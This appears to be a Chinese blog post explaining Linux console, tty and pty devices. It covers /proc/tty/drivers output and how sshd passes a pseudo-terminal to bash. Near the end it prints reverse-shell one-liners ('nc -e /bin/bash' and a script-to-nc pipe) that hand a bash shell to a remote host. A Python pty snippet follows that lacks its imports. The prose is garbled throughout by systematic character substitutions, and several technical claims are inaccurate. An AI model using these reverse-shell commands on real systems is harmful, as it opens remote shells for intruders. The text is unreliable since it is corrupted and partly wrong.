概念
- 下面是 我 cat /proc/tty/drivers 的输出
/dev/tty /dev/tty 5 0 system:/dev/tty
/dev/console /dev/console 5 1 system:console
/dev/ptmx /dev/ptmx 5 2 system
/dev/vc/0 /dev/vc/0 4 0 system:vtmaster
usbserial /dev/ttyUSB 188 0-511 serial
serial /dev/ttyS 4 64-95 serial
pty_slave /dev/pts 136 0-1048575 pty:slave
pty_master /dev/ptm 128 0-1048575 pty:master
unknown /dev/tty 4 1-63 console
- console
- 从上面能够看到, /dev/tty1-63 被注册称console。
- console 是一个显式器在内核中的对应物。可见最多能够有64(console tty1-63)个显式器和个人主机链接。
- 当一个显式器被链接到主板,被内核发现了,就会生成一个 /dev/consolen,文件。而/dev/console 表明系统启动时的显式器。
- cat hello>/dev/console 能够发送到那个显式器区显式,可是显式器的交互有一个termios,用来设置每行字符和列数等等,因此随便向console发一个字符串可能会引发异常。通常须要用程序获得一个代理终端或者伪终端。
- tty
- 就是上面提到的代理终端。一个console能够被多个tty代理。也就是说能够多个进程共用一个显式器。通常linux在开机的时候分配了6个tty给用户用,你按ctrl+alt+F1-6,能够在tty1到tty6间切换。通常除了tty1是登录了的,其他几个都须要从新登录,得到一个bash,而后tty交给bash使用。你能够用tty命令查看当前tty,也能够用ps -ef|grep bash,查看各个bash对应的tty。
- tty是TeleTYpe的意思,因此它原本是一个物理的串口打字设备。一个键盘就能够分配一个tty。由于它是一个物理设备,因此它对应着计算机实际存在的上的串口,也所以这些串口都在内核的驱动里注册了。从最上面的输出能够看出,我电脑有ttyS64-95共32个串口被注册了。串口的主设备号都是 4,从上面看到还有一个和/dev/console同样主设备号为 5 的tty,它表明当前tty。目的是为了隔离进程对设备的细节的理解。由于一个进程最多只可能使用一个tty,不必直到其它的存在,因此它只须要向/dev/tty 输入输出就能够了。那么疑问是,多个tty的进程都对应这一个文件不会冲突吗?答案是不会的。你的网卡不也是只有一个接口吗,那么多进程在和外部通讯也没有冲突啊,一切的答案就是有物理层的规程,它标记了每个进程,当进程发送一个消息到/dev/tty,实际上有一个内核模块把你的消息封装了一次。而后疑问是:不是说串口吗,怎么能够并行通讯啊?固然是像路由器那样缓存啊,因此字符设备你发现都是必须带缓冲带开的。
- 上面说进程不须要了解本身使用的tty,可是当一个进程申请tty的时候是须要知道本身的tty号的,由于那时候系统还不知道你是谁,因此有个申请和激活的过程。
- pty
- tty很好用,可是它是物理的,并且有限,个人系统就分配了32个tty串口。若是想有更多的话,能够给你电脑多安几个串口,而后多接几根线,可是有了网络以后,咱们就不须要这样了,直接经过网线就能够了,那么这中方案中,内核如何处理交互呢?答案就是仍是用tty那一套,只不过给你虚拟一个串口出来。你们可能都虚拟过网卡网桥之类的。那么就很好理解pty了,它就是系统虚拟出来的tty,因此叫作伪终端。
- pty和tty一个不同的对方是tty它每一个串口的编号啥的都在内核里注册好了,系统中断很容易就调用了。而伪终端是临时分配的,那么中断怎么搞呢?你们想起来上面说的缓存和复用了吗?没错就是这样子的。
- 从最上面的输出能够看到,有一个 /dev/ptmx设备 设备号 5:2 被系统管理着,关于pty的中断都找它。而后远程登录和本地链接还有一个明显的不同,就是本地是经过线连着的,系统自动负责,远程是有一个进程在那里负责链接。若是咱们是远程链接以后使用bash,怎么搞呢?
- 方法就是 生成一个pty文件,并将它分用为一对文件描述符,因而在逻辑上咱们就有了两个pty:分别叫作pts/ptm。
- 好比我经过xshell和主机上的sshd来实现登录并使用bash。首先是好兄弟sshd向系统申请了pty,系统给了它一对文件描述符(ptm0/pts0),文件描述符就是一个文件访问的凭证,它可能根本就没有实际的文件与之对应,可是系统说类,只要你用pts0或者ptm0来向我打开文件,我就给你建立一个真的文件出来,而且你之后用这两个文件描述符均可以访问它。因此sshd这个进程并不占用终端,它只是用分配的这个文件描述符,并不尝试真的去open("/dev/ptmx"),由于只要一尝试去open,就当即生成真正的文件,并且完成了对这个pty的占有,所谓占有就是将本身的stdio都对应上去了,linux系统只容许tty或pty同一时间被一个进程占有,若是没人占有就会释放掉。
- 上面说到sshd只得到了一对文件描述符ptm0/pts0,这时候sshd执行了登录进程开始了bash子进程,并把pts0交给了bash,让bash去用 pts0去打开/dev/ptmx,生成了/dev/pty/0,并完成了pty的绑定。今后bash的输出,就写pty,输入信息到pty就是bash的输入。而这时候咱们的sshd手握着系统分配的主文件符ptm0沾沾自喜,它就好像一个抓包少年同样开心即了,转眼就将从ptm0上读到的信息(也就是bash的输出)发送给了它的好兄弟,个人xshell,从而个人xshell就显式登录了。而后个人xshell说“我有个忙(命令),兄弟你帮我如下(帮我执行)”,好兄弟sshd坚决果断就将 xshell传给它的内容向 ptm0写,这时候可怜的bash傻傻的意味那就是pty0爱的消息,当即读而后执行。。。。就这样,bash傻傻的恋爱着,而我用xshell得到的bash的使用权(输入和输出)。
为何申请pty的时候给你一对文件描述符呢?
* 由于若是只给你一个,你本身也要再升请一个并dup如下,这样还须要建立两个文件。
* 那么为何非两个不可呢?若是只是一个文件描述符,那么被bash绑定以后 ,sshd向它读写会阻塞,有两个的时候系统会处理。
下面给一个用python实现的tcp远程登录。实际使用的时候直接经过 nc -e /bin/bash 192.168.0.100 2333
或者script <a_pipe |& nc 192.168.0.100 2333 >a_pipe
均可以实现将远程主机变成可用 tcp 直接链接上bash。可是下面代码可让你们更清楚其中关于pty获取的细节。
import signal
import select
def main(debug=False):
old_mode = tty.tcgetattr(0)
tty.setraw(0)
pid,m = pty.fork()
if pid==0:
os.execl("/bin/bash","/bin/bash")
else:
try:
while True:
result = os.waitid(os.P_PID, pid, os.WEXITED|os.WNOHANG)
if result:raise Exception
r,w,e = select.select([m,0],[m],[])
if m in r:
os.write(1, os.read(m, 1024))
continue
if 0 in r:
user_input = os.read(0,1024)
os.write(m, user_input)
except:
try:
os.kill(pid, signal.SIGKILL)
except:pass
tty.tcsetattr(0, tty.TCSAFLUSH, old_mode)
if debug:
import traceback
traceback.print_exc()
if __name__ == '__main__':
main()